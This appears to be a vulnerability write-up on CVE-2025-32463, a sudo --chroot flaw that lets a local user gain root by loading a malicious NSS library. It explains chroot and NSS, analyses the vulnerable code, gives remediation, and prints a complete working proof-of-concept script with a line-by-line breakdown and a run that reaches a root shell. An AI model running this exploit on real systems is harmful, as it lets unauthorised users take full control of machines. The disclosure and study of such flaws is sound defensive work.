CVE-2025-32463 Sudo chroot (chwoot)
Introduction
The Stratascale Cyber Research Unit (CRU) recently discovered multiple local privilege escalation vulnerabilities in sudo
. This research focuses on CVE-2025-32463, a flaw in the rarely used --chroot
(-R
) option that allows a local user to escalate privileges to root, even in tightly restricted environments where sudo
access appears minimal.
What is sudo
On almost every Unix-like system, sudo
is a foundational privilege management tool that allows users to execute commands as another user, typically root. It plays a critical role in enforcing the principle of least privilege, enabling administrators to delegate specific administrative tasks without revealing the root password. Additionally, sudo
ensures accountability by logging every privileged action to system logs, creating an audit trail essential for monitoring, auditing, and forensic investigations.
On June 28, 2025, security researcher Rich Mirch of the Stratascale Cyber Research Unit disclosed a critical vulnerability in sudo
related to its --chroot
option. This vulnerability is tracked as:
This bug was rated critical due to its minimal requirements for exploitation and the complete root compromise it enables.
Summary of the Vulnerability:
CVSS v3.1 Score: 9.3 (Critical)
Impact: Allows local privilege escalation to root, even when a user is confined to a chroot environment
Affected Versions:
sudo
stable 1.9.14 - 1.9.17Exploitation has been verified on:
Ubuntu 24.04.1; Sudo 1.9.15p5, Sudo 1.9.16p2
Fedora 41 Server; Sudo 1.9.15p5
Legacy versions (
<= 1.8.32
) are not affected, as the--chroot
feature did not exist prior tosudo
1.9.14.Discovered by: Rich Mirch of the Stratascale Cyber Research Unit
Patched in: sudo 1.9.17p1, released June 30, 2025
Remediation
Install sudo 1.9.17p1 or later.
Visit https://www.sudo.ws/security/advisories/chroot_bug for additional information
Impact
The default sudo
configuration is vulnerable in versions where the --chroot
option is supported. Although this vulnerability involves the sudo -R
(chroot) feature, it does not require any custom sudoers
rules to be defined for a specific command. If a user is allowed to invoke sudo -R
even with minimal privileges. they may be able to exploit this vulnerability to gain full root access.
This means that any local unprivileged user could potentially escalate privileges to root if a vulnerable version of sudo
is installed and the -R
option is accessible to them. Importantly, the exploit does not depend on network access, remote code execution, or any kernel-level vulnerability. It abuses how sudo
interacts with the Name Service Switch (NSS) mechanism from within a chrooted environment.
Exploitation has been verified on:
Ubuntu 24.04.1; Sudo 1.9.15p5, Sudo 1.9.16p2
Fedora 41 Server; Sudo 1.9.15p5
What is chroot
chroot,
short for βchange rootβ, is a Unix/Linux feature that lets you change the apparent root directory (/
) for the current process and its children. Itβs often used for sandboxing or recovery environments, but it was never designed as a security feature.
Once inside a chroot
, the process sees the specified directory as /
, and cannot see or access anything βoutsideβ of it.
You might use chroot
when:
You want to run a program in isolation, away from the real system files.
You're compiling or testing software in a clean environment.
You're setting up a basic development jail for untrusted code.
Letβs walk through a basic example to simulate what a chroot
environment looks like.
Step 1: Create a fake root directory structure
mkdir -p ~/chroot_env/{bin,lib64,etc}
Step 2: Copy a statically linked binary
cp /bin/bash ~/chroot_env/bin/
Step 3: Enter the chroot
sudo chroot ~/chroot_env /bin/bash
Now inside the chroot:
Your root
/
is actually~/chroot_env/
Commands like
ls
,find
, and/etc/passwd
do not exist unless explicitly copied inYouβre in a sandboxed view of the filesystem
Hereβs what the shell looks like:
user@kali:~$ sudo chroot ~/chroot_env /bin/bash
bash-5.2# cd /
bash-5.2# ls
bash: ls: command not found
bash-5.2# find .
bash: find: command not found
bash-5.2# echo *
bin lib lib64
bash-5.2# echo bin/*
bin/bash
chroot β Security
Even though chroot
limits the visible filesystem, it does not prevent privilege escalation or full system access if:
The process is running as root inside the chroot
The attacker retains open file descriptors to outside paths
The program inside the chroot loads libraries or configuration from outside (e.g., NSS)
In fact, this lack of isolation is exactly what makes CVE-2025-32463 dangerous: sudo -R
assumes chroot isolation, but under certain conditions, it loads attacker-controlled code as root from outside the chroot.
To help you understand why this vulnerability works, we need to explain:
What is NSS (Name Service Switch)?
Name Service Switch (NSS) is a component of the GNU C Library (glibc) that defines how a system resolves names for users, groups, hosts, etc. It allows Linux to flexibly query information from various sources like:
/etc/passwd
LDAP
NIS
DNS
it's controlled by the file:
/etc/nsswitch.conf
inisde this file:
passwd: files systemd
group: files
hosts: files dns
This tells the system:
When resolving usernames (passwd), first check
/etc/passwd
, then querysystemd
.For hostnames, check
/etc/hosts
, then DNS.
Behind the scenes, the GNU C Library (glibc) uses shared libraries to implement each NSS module.
files
β/lib/x86_64-linux-gnu/libnss_files.so.2
dns
β/lib/x86_64-linux-gnu/libnss_dns.so.2
systemd
β/lib/x86_64-linux-gnu/libnss_systemd.so.2
What makes NSS dangerous in this context is how glibc dynamically loads shared libraries (like libnss_files.so.2
) at runtime based on configuration.
If sudo
calls any name resolution function after it enters a chroot, and that chroot contains attacker-controlled versions of these libraries, it results in arbitrary code execution as root.
So if your process is chrooted, those libraries will be looked for inside the chroot.
How sudo interacts with NSS
When you run a command with sudo
, it needs to:
Resolve the target username and group
Log actions by resolving the calling user
Apply the correct
sudoers
policies based on resolved identities
All of these steps rely on name resolution. which is handled via glibcβs NSS system.
Vulnerable source code analysis
/* src/exec.c β vulnerable version (1.9.17) */
static bool
exec_setup(struct command_details *details, int intercept_fd, int errfd)
{
...
/* Close file descriptors before chroot or uid switch */
close_fds(details, errfd, intercept_fd);
/* VULNERABILITY: chroot() occurs BEFORE any NSS-based resolution */
if (details->chroot) {
if (chroot(details->chroot) != 0 || chdir("/") != 0) {
sudo_warn(U_("unable to change root to %s"), details->chroot);
goto done;
}
}
/* Drop privileges to target user */
if (setresuid(details->cred.uid, details->cred.euid, details->cred.euid) != 0) {
sudo_warn(U_("unable to change to runas uid (%u, %u)"),
(unsigned int)details->cred.uid,
(unsigned int)details->cred.euid);
goto done;
}
...
return true;
}
These functions depend on glibcβs Name Service Switch (NSS) mechanism, which:
Reads
/etc/nsswitch.conf
to determine what backend to use (files
,ldap
, etc.)Dynamically loads
libnss_*.so.2
from/lib
or/usr/lib
Since the root directory has been changed, these libraries are now attacker-controlled. And since sudo is still running as setuid root, those libraries are executed with elevated privileges.
Exploitation flow
Attacker creates fake root at /tmp/chrooted
and includes:
Malicious
libnss_files.so.2
Controlled
/etc/nsswitch.conf
Runs:
sudo -R /tmp/chrooted id
Inside sudo:
Calls
chroot("/tmp/chrooted")
Later calls
getpwuid()
or similar (e.g., via PAM or group setup)glibc:
Reads attacker's
/etc/nsswitch.conf
Loads attacker's
/lib/libnss_files.so.2
Malicious
.so
runs with root privileges
Unprivileged User
|
v
sudo -R /tmp/chrooted id
|
v
[exec_setup()]
|
|---> chroot("/tmp/chrooted")
|---> chdir("/")
|
|---> getpwuid() β reads /etc/nsswitch.conf inside chroot
β loads libnss_files.so.2 inside chroot
β executes attacker's code as root
POC analysis
#!/bin/bash
# sudo-chwoot.sh
# CVE-2025-32463 β Sudo EoP Exploit PoC by Rich Mirch
# @ Stratascale Cyber Research Unit (CRU)
STAGE=$(mktemp -d /tmp/sudowoot.stage.XXXXXX)
cd ${STAGE?} || exit 1
if [ $# -eq 0 ]; then
# If no command is provided, default to an interactive root shell.
CMD="/bin/bash"
else
# Otherwise, use the provided arguments as the command to execute.
CMD="$@"
fi
# Escape the command to safely include it in a C string literal.
# This handles backslashes and double quotes.
CMD_C_ESCAPED=$(printf '%s' "$CMD" | sed -e 's/\\/\\\\/g' -e 's/"/\\"/g')
cat > woot1337.c<<EOF
#include <stdlib.h>
#include <unistd.h>
__attribute__((constructor)) void woot(void) {
setreuid(0,0);
setregid(0,0);
chdir("/");
execl("/bin/sh", "sh", "-c", "${CMD_C_ESCAPED}", NULL);
}
EOF
mkdir -p woot/etc libnss_
echo "passwd: /woot1337" > woot/etc/nsswitch.conf
cp /etc/group woot/etc
gcc -shared -fPIC -Wl,-init,woot -o libnss_/woot1337.so.2 woot1337.c
echo "woot!"
sudo -R woot woot
rm -rf ${STAGE?}
STAGE=$(mktemp -d /tmp/sudowoot.stage.XXXXXX)
cd ${STAGE?} || exit 1
Creates a temporary working directory under /tmp
for our chrooted exploit environment. mktemp -d
ensures a random, safe directory name.
if [ $# -eq 0 ]; then
CMD="/bin/bash"
else
CMD="$@"
fi
Handles input:
If the user supplies no arguments, default to launching a root shell (/bin/bash
).
If arguments are provided, use them as the command to run inside the chroot.
CMD_C_ESCAPED=$(printf '%s' "$CMD" | sed -e 's/\\/\\\\/g' -e 's/"/\\"/g')
Escapes special characters so that the Bash command can be embedded inside a C string safely.
cat > woot1337.c <<EOF
#include <stdlib.h>
#include <unistd.h>
__attribute__((constructor)) void woot(void) {
setreuid(0,0);
setregid(0,0);
chdir("/");
execl("/bin/sh", "sh", "-c", "${CMD_C_ESCAPED}", NULL);
}
EOF
This is the payload:
__attribute__((constructor))
means: run this function automatically when the library loads.setreuid(0, 0)
andsetregid(0, 0)
: become root.chdir("/")
: clean up working directory.execl("/bin/sh", ...)
: spawn a shell as root.
mkdir -p woot/etc libnss_
echo "passwd: /woot1337" > woot/etc/nsswitch.conf
cp /etc/group woot/etc
Prepares the chroot environment:
woot/
becomes the root.nsswitch.conf
says: use a fake NSS backend called/woot1337
forpasswd
resolution.This forces glibc to look for
libnss_woot1337.so.2
in/lib
orlibnss_*/
.
The
group
file is copied so that basic commands relying on group resolution donβt crash.
gcc -shared -fPIC -Wl,-init,woot -o libnss_/woot1337.so.2 woot1337.c
Compiles the payload:
-shared -fPIC
: produces a shared object suitable for dynamic loading.-Wl,-init,woot
: ensures thewoot()
constructor runs when loaded.Output file is
libnss_/woot1337.so.2
, which glibc will use when resolvingpasswd
.
echo "woot!"
sudo -R woot woot
rm -rf ${STAGE?}
sudo -R woot woot
β invokes sudo in a chroot environment rooted atwoot/
, and runs thewoot
command.rm -rf ${STAGE}
: cleanup.
Executing the poc
kali@kali:~/CVE-2025-32463$ id
uid=1001(kali) gid=1001(kali) groups=1001(kali)
kali@kali:~/CVE-2025-32463$ sudo -l
[sudo] password for kali:
Sorry, user kali may not run sudo on kali.
kali@kali:~/CVE-2025-32463$ ./sudo-chwoot.sh
woot!
root@kali: id
uid=0(root) gid=0(root) groups=0(root),1001(kali)
Acknowledgement & Credit
The CVE-2025-32463 Sudo chroot Elevation of Privilege Vulnerability was discovered by Rich Mirch of the Stratascale Cyber Research Unit. The Stratascale CRU team thanks the Sudo maintainer, Todd Miller, for the partnership in resolving these issues.
Last updated
Was this helpful?